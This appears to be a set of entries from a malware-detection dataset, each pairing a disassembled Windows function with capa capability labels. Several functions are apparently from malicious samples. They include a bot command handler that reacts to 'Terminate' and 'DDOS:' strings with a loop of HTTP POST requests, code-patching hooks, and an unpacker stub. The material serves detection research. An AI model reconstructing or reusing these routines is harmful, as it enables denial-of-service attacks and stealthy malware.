joyce8/EMBER2024-capa huggingface dataset:
Function at 0x18007ee50
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x30
mov rax, qword [0x1800d1028]
xor rax, rsp
mov qword [rsp + 0x28], rax
mov eax, ecx
lea r9, [rsp + 0x20]
imul rbx, rax, 0x38
mov r8d, 0x40
add rbx, qword [0x1800d27c0]
mov rdx, qword [rbx]
movzx eax, byte [rbx + 0x20]
and al, 1
movzx ecx, al
lea rdi, [rdx - 5]
cmove rdi, rdx
lea rsi, [rcx*2 + 5]
mov rcx, rdi
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x18007eeb9
mov eax, 0xa
jmp 0x18007ef06
mov byte [rdi], 0xe9
mov eax, dword [rbx + 8]
sub eax, edi
sub eax, 5
mov dword [rdi + 1], eax
test byte [rbx + 0x20], 1
je 0x18007eed5
mov rax, qword [rbx]
mov word [rax], 0xf9eb
mov r8d, dword [rsp + 0x20]
lea r9, [rsp + 0x20]
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r8, rsi
mov rdx, rdi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
or byte [rbx + 0x20], 6
xor eax, eax
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.1800864c0
mov rbx, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret

Function at 0x18007ef30
Capabilities:
Resume thread

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x30
mov eax, dword [0x1800d27cc]
xor edi, edi
mov ebx, edi
test eax, eax
je 0x18007f040
mov rcx, qword [0x1800d27c0]
add rcx, 0x20
test byte [rcx], 2
je 0x18007ef73
inc ebx
add rcx, 0x38
cmp ebx, eax
jb 0x18007ef57
mov eax, edi
mov rbx, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret
cmp ebx, 0xffffffff
je 0x18007f040
mov edx, 0xffffffff
lea rcx, [rsp + 0x20]
mov r8d, 1
call fcn.18007eca0
mov edx, dword [0x1800d27cc]
cmp ebx, edx
jae 0x18007efcd
nop dword [rax + rax]
mov eax, ebx
imul rcx, rax, 0x38
mov rax, qword [0x1800d27c0]
test byte [rcx + rax + 0x20], 2
jne 0x18007efc7
mov ecx, ebx
call fcn.18007ee50
mov edi, eax
test eax, eax
jne 0x18007efcd
mov edx, dword [0x1800d27cc]
inc ebx
cmp ebx, edx
jb 0x18007efa0
cmp qword [rsp + 0x20], 0
je 0x18007f040
mov eax, dword [rsp + 0x2c]
test eax, eax
je 0x18007f02c
mov rbx, qword [rsp + 0x20]
mov qword [rsp + 0x40], rbp
mov ebp, eax
mov qword [rsp + 0x48], rsi
nop
mov r8d, dword [rbx]
xor edx, edx
lea ecx, [rdx + 0x5a]
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rsi, rax
test rax, rax
je 0x18007f018
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rbx, 4
sub rbp, 1
jne 0x18007eff0
mov rsi, qword [rsp + 0x48]
mov rbp, qword [rsp + 0x40]
mov r8, qword [rsp + 0x20]
xor edx, edx
mov rcx, qword [0x1800d24c0]
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rbx, qword [rsp + 0x50]
mov eax, edi
add rsp, 0x30
pop rdi
ret
Function at 0x18007f420
Capabilities:
Resume thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r15
sub rsp, 0x30
xor r15d, r15d
mov rdi, rcx
mov ebx, r15d
xor eax, eax
mov esi, 1
lock cmpxchg dword [0x1800d24b8], esi
je 0x18007f475
cmp rbx, 0x20
jae 0x18007f45e
xor ecx, ecx
jmp 0x18007f460
mov ecx, esi
call qword [sym.imp.KERNEL32.dll_Sleep]
inc rbx
xor eax, eax
lock cmpxchg dword [0x1800d24b8], esi
jne 0x18007f454
cmp qword [0x1800d24c0], r15
je 0x18007f55f
test rdi, rdi
jne 0x18007f493
call fcn.18007ef30
mov ebp, eax
jmp 0x18007f564
mov ecx, dword [0x1800d27cc]
mov ebx, r15d
test ecx, ecx
je 0x18007f4bf
mov r8, qword [0x1800d27c0]
mov rax, r8
nop word [rax + rax]
cmp rdi, qword [rax]
je 0x18007f4c9
inc ebx
add rax, 0x38
cmp ebx, ecx
jb 0x18007f4b0
mov ebp, 4
jmp 0x18007f564
cmp ebx, 0xffffffff
je 0x18007f4bf
mov eax, ebx
imul rdx, rax, 0x38
test byte [rdx + r8 + 0x20], 2
jne 0x18007f558
mov r8d, esi
lea rcx, [rsp + 0x20]
mov edx, ebx
call fcn.18007eca0
mov ecx, ebx
call fcn.18007ee50
mov ebp, eax
cmp qword [rsp + 0x20], r15
je 0x18007f564
mov eax, dword [rsp + 0x2c]
test eax, eax
je 0x18007f542
mov rbx, qword [rsp + 0x20]
mov esi, eax
nop word [rax + rax]
mov r8d, dword [rbx]
xor edx, edx
lea ecx, [rdx + 0x5a]
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rdi, rax
test rax, rax
je 0x18007f538
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rbx, 4
sub rsi, 1
jne 0x18007f510
mov r8, qword [rsp + 0x20]
xor edx, edx
mov rcx, qword [0x1800d24c0]
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x18007f564
mov ebp, 5
jmp 0x18007f564
mov ebp, 2
xchg dword [0x1800d24b8], r15d
mov rbx, qword [rsp + 0x40]
mov eax, ebp
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x30
pop r15
ret
Function at 0x1800802d0
Capabilities:
Create thread

Disassembly:
push rbx
sub rsp, 0x30
mov rbx, rcx
cmp edx, 1
jne 0x180080312
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r9, rbx
lea r8, [0x180080230]
add rax, 0x7f20390
xor edx, edx
mov qword [0x1800d24c8], rax
xor ecx, ecx
xor eax, eax
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov eax, 1
add rsp, 0x30
pop rbx
ret
Function at 0x140057740
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x14005774d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x14005775d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x140057745
lea eax, [rcx + 1]
jmp 0x14005776b
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x14005777e
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x140057764
sub eax, 3
jb 0x14005779e
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x1400577ed
sar eax, 1
movsxd rbp, eax
jb 0x1400577d4
jmp 0x1400577ac
add ebx, ebx
jne 0x1400577aa
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x1400577d4
inc ecx
add ebx, ebx
jne 0x1400577ba
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x1400577d4
call r11
adc ecx, ecx
add ebx, ebx
jne 0x1400577cd
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x1400577bc
add ecx, 2
jmp 0x1400577d9
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.140057702
jmp 0x14005774d
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0x29e00
mov dl, 0x11
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x140057839
cmp rsi, rcx
jae 0x140057841
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x140057820
cmp al, 0x8f
ja 0x140057820
cmp byte [rsi - 2], 0xf
je 0x140057826
sub al, 0xe8
cmp al, 1
ja 0x14005780a
cmp rsi, rcx
jae 0x140057841
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x140057810
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x140057841
lodsb al, byte [rsi]
jmp 0x140057820
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x55000]
mov eax, dword [rdi]
or eax, eax
je 0x14005789e
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x65fb0]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x14005784e
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x140057898
mov qword [rbx], rax
add rbx, 8
jmp 0x14005786e
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x1400578d8
cmp al, 0xef
ja 0x1400578ca
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x1400578aa
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
jmp 0x1400578b9
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x237]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x14005792c
sub rsp, 0xffffffffffffff80
jmp 0x14000b750
Function at 0x140001180
Capabilities:
Terminate process

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rbx, qword [0x140005880]
mov rbp, qword [sym.imp.KERNEL32.dll_Sleep]
xor edi, edi
mov rax, qword gs:[0x30]
mov rsi, qword [rax + 8]
jmp 0x1400011c0
cmp rsi, rax
je 0x140001320
mov ecx, 0x3e8
call rbp
mov rax, rdi
lock cmpxchg qword [rbx], rsi
test rax, rax
jne 0x1400011b0
mov rsi, qword [0x140005890]
xor edi, edi
mov eax, dword [rsi]
cmp eax, 1
je 0x140001337
mov eax, dword [rsi]
test eax, eax
je 0x1400013a0
mov dword [0x140008008], 1
mov eax, dword [rsi]
cmp eax, 1
je 0x14000134c
test edi, edi
je 0x14000136d
mov rax, qword [0x1400057f0]
mov rax, qword [rax]
test rax, rax
je 0x140001223
xor r8d, r8d
mov edx, 2
xor ecx, ecx
call rax
call fcn.140002850
mov rcx, qword [0x140005910]
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rdx, qword [0x140005870]
lea rcx, section..text
mov qword [rdx], rax
call sub.api_ms_win_crt_runtime_l1_1_0.dll__set_invalid_parameter_handler
call fcn.140002660
mov ebx, dword [0x140008028]
lea edi, [rbx + 1]
movsxd rdi, edi
shl rdi, 3
mov rcx, rdi
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
mov r12, qword [0x140008020]
mov rbp, rax
test ebx, ebx
jle 0x1400013c0
sub rdi, 8
xor ebx, ebx
mov rcx, qword [r12 + rbx]
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
lea rsi, [rax + 1]
mov rcx, rsi
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
mov r8, rsi
mov qword [rbp + rbx], rax
mov rdx, qword [r12 + rbx]
mov rcx, rax
add rbx, 8
call sub.api_ms_win_crt_private_l1_1_0.dll_memcpy
cmp rdi, rbx
jne 0x140001280
add rdi, rbp
mov qword [rdi], 0
mov qword [0x140008020], rbp
call fcn.140002460
mov rax, qword [0x140005800]
mov r8, qword [0x140008018]
mov ecx, dword [0x140008028]
mov rax, qword [rax]
mov qword [rax], r8
mov rdx, qword [0x140008020]
call fcn.140002168
mov ecx, dword [0x14000800c]
mov dword [0x140008010], eax
test ecx, ecx
je 0x1400013c8
mov edx, dword [0x140008008]
test edx, edx
je 0x140001380
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rsi, qword [0x140005890]
mov edi, 1
mov eax, dword [rsi]
cmp eax, 1
jne 0x1400011e1
mov ecx, 0x1f
call fcn.140003650
mov eax, dword [rsi]
cmp eax, 1
jne 0x140001200
mov rdx, qword [0x1400058b0]
mov rcx, qword [0x1400058a0]
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm
mov dword [rsi], 2
test edi, edi
jne 0x140001208
xor eax, eax
xchg qword [rbx], rax
jmp 0x140001208
call sub.api_ms_win_crt_runtime_l1_1_0.dll__cexit
mov eax, dword [0x140008010]
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rdx, qword [0x1400058d0]
mov rcx, qword [0x1400058c0]
mov dword [rsi], 1
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm
jmp 0x1400011f5
mov rdi, rax
jmp 0x1400012b5
mov ecx, eax
call sub.api_ms_win_crt_runtime_l1_1_0.dll_exit
nop
sub rsp, 0x28
mov rax, qword [0x140005820]
mov dword [rax], 1
call fcn.140001180
nop
nop
add rsp, 0x28
ret
Function at 0x140001b70
Capabilities:
Connect to http server
Create http request
Send data
Send http request

Disassembly:
push rbp
push rbx
sub rsp, 0x888
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x820], rcx
lea rax, [0x140005100]
mov qword [rbp + 0x7f8], rax
lea rax, str.______qwerty_r_nContent_Disposition:_form_data__name__s___filename__s__r_nContent_Type:_application_octet_stream_r_nContent_Transfer_Encoding:_binary_r_n_r_n
mov qword [rbp + 0x7f0], rax
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 1
lea rax, str.UserAgent
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetOpenW]
call rax
mov qword [rbp + 0x7e8], rax
mov rdx, qword [rbp + 0x820]
mov rax, qword [rbp + 0x7e8]
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x50
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetConnectW]
call rax
mov qword [rbp + 0x7e0], rax
mov rax, qword [rbp + 0x7e0]
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
lea r8, [0x1400052b0]
lea rdx, str.POST
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_HttpOpenRequestW]
call rax
mov qword [rbp + 0x7d8], rax
mov ecx, 0x2710
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
mov qword [rbp + 0x7d0], rax
mov rax, qword [rbp + 0x7d0]
mov r8d, 8
mov edx, 0xff
mov rcx, rax
call sub.api_ms_win_crt_string_l1_1_0.dll_memset
lea rax, str._r_n______qwerty___r_n
mov qword [rbp + 0x7c8], rax
mov rdx, qword [rbp + 0x7f0]
lea rax, [rbp - 0x40]
lea r9, str.spam
lea r8, str.UserAgent
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_wsprintfW]
call rax
lea rax, [rbp - 0x40]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_lstrlenW]
call rax
movsxd rcx, eax
lea rdx, [rbp - 0x40]
mov rax, qword [rbp + 0x7d0]
mov r8, rcx
mov rcx, rax
call sub.api_ms_win_crt_private_l1_1_0.dll_memcpy
mov rax, qword [rbp + 0x7c8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_lstrlenW]
call rax
movsxd rbx, eax
lea rax, [rbp - 0x40]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_lstrlenW]
call rax
cdqe
lea rdx, [rax + 0x2710]
mov rax, qword [rbp + 0x7d0]
lea rcx, [rdx + rax]
mov rax, qword [rbp + 0x7c8]
mov r8, rbx
mov rdx, rax
call sub.api_ms_win_crt_private_l1_1_0.dll_memcpy
lea rax, [rbp - 0x40]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_lstrlenW]
call rax
lea ebx, [rax + 0x2710]
mov rax, qword [rbp + 0x7c8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_lstrlenW]
call rax
add eax, ebx
mov dword [rbp + 0x7c4], eax
mov rax, qword [rbp + 0x7f8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_lstrlenW]
call rax
mov r10d, eax
mov r8, qword [rbp + 0x7d0]
mov rdx, qword [rbp + 0x7f8]
mov rax, qword [rbp + 0x7d8]
mov ecx, dword [rbp + 0x7c4]
mov dword [rsp + 0x20], ecx
mov r9, r8
mov r8d, r10d
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_HttpSendRequestW]
call rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, [0x1400052f0]
mov rcx, rax
call fcn.140003490
nop
add rsp, 0x888
pop rbx
pop rbp
ret
Function at 0x140002168
Capabilities:
Terminate process

Disassembly:
push rbp
sub rsp, 0x100
lea rbp, [rsp + 0x80]
call fcn.140002460
call fcn.14000231c
test eax, eax
jne 0x140002268
call fcn.140002161
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.140001de7
lea rax, [rbp - 0x60]
lea rdx, str.Terminate
mov rcx, rax
call sub.api_ms_win_crt_private_l1_1_0.dll_wcsstr
test rax, rax
je 0x1400021c1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_ExitProcess]
call rax
lea rax, [rbp - 0x60]
lea rdx, str.DDOS:
mov rcx, rax
call sub.api_ms_win_crt_private_l1_1_0.dll_wcsstr
mov qword [rbp + 0x70], rax
lea rax, str.DDOS:
mov rcx, rax
call sub.api_ms_win_crt_string_l1_1_0.dll_wcslen
lea rdx, [rax + rax]
mov rax, qword [rbp + 0x70]
add rax, rdx
mov qword [rbp + 0x68], rax
mov rax, qword [rbp + 0x68]
mov rdx, rax
lea rax, [0x140005384]
mov rcx, rax
call fcn.140002100
lea rax, [rbp - 0x60]
lea rdx, str.DDOS:
mov rcx, rax
call sub.api_ms_win_crt_private_l1_1_0.dll_wcsstr
test rax, rax
je 0x140002255
mov dword [rbp + 0x7c], 0
jmp 0x14000224b
mov rax, qword [rbp + 0x68]
mov rcx, rax
call fcn.140001b70
mov ecx, 0x64
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
add dword [rbp + 0x7c], 1
mov eax, 0xa
cmp dword [rbp + 0x7c], eax
jl 0x14000222d
mov ecx, 0x3e8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
jmp 0x14000218a
mov eax, 0
add rsp, 0x100
pop rbp
ret

Function at 0x140002280
Capabilities:
Enumerate processes

Disassembly:
push rbp
sub rsp, 0x260
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x1f0], rcx
mov dword [rbp - 0x60], 0x238
mov edx, 0
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rbp + 0x1d8], rax
cmp qword [rbp + 0x1d8], 0
je 0x14000230e
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0x1d8]
mov rcx, rax
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x14000230e
lea rax, [rbp - 0x60]
lea rdx, [rax + 0x2c]
mov rax, qword [rbp + 0x1f0]
mov rcx, rax
call sub.api_ms_win_crt_string_l1_1_0.dll_wcscmp
test eax, eax
jne 0x1400022f7
mov eax, 1
jmp 0x140002313
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0x1d8]
mov rcx, rax
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x1400022d5
mov eax, 0
add rsp, 0x260
pop rbp
ret

Function at 0x140002670
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call fcn.140003470
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
nop
nop dword [rax]
Function at 0x1400026e0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x140008094]
mov rbx, rcx
test esi, esi
jle 0x140002810
mov rax, qword [0x140008098]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x14000272b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x1400027b5
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140002710
mov rcx, rbx
call fcn.140003150
mov rdi, rax
test rax, rax
je 0x140002832
mov rax, qword [0x140008098]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.140003290
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x140008098]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140002817
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x1400027ae
lea edx, [rax - 0x40]
and edx, 0xffffffbf
jne 0x1400027c0
add dword [0x140008094], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x140008098]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1400027ae
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140002670
nop dword [rax]
xor esi, esi
jmp 0x140002738
mov rax, qword [0x140008098]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.140002670
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.140002670
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140002dc0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x140008100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400080e0]
test rbx, rbx
je 0x140002e1c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test rsi, rsi
je 0x140002e13
test eax, eax
jne 0x140002e13
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140002df8
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x140003150
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400057c0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140003170
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140003178
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140003170
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x1400031cd
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x1400031c4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140003170
add rax, 0x28
cmp rax, r9
jne 0x1400031b0
xor eax, eax
ret

Function at 0x1400031d0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400057c0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x1400031ef
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400031f8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x1400031ef
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x140003290
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400057c0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x1400032af
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x1400032b8
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x14068e0b0
Capabilities:
Decompress data using aplib

Disassembly:
call 0x14068e237
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x14068e0e1
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14068e0c7
add dl, dl
jne 0x14068e0ee
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14068e14e
xor eax, eax
add dl, dl
jne 0x14068e0fd
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14068e205
add dl, dl
jne 0x14068e10e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14068e11b
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14068e128
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14068e135
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x14068e142
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x14068e0d6
mov eax, 1
add dl, dl
jne 0x14068e15e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14068e16b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14068e153
sub eax, ebx
mov ebx, 1
jne 0x14068e1a4
mov ecx, 1
add dl, dl
jne 0x14068e186
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14068e193
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14068e17b
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14068e0d6
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x14068e1c0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14068e1cd
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14068e1b5
cmp eax, 0x7d00
jae 0x14068e1f3
cmp eax, 0x500
jb 0x14068e1ee
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14068e0d6
cmp eax, 0x7f
ja 0x14068e1f6
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14068e0d6
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x14068e22a
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x14068e0d6
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20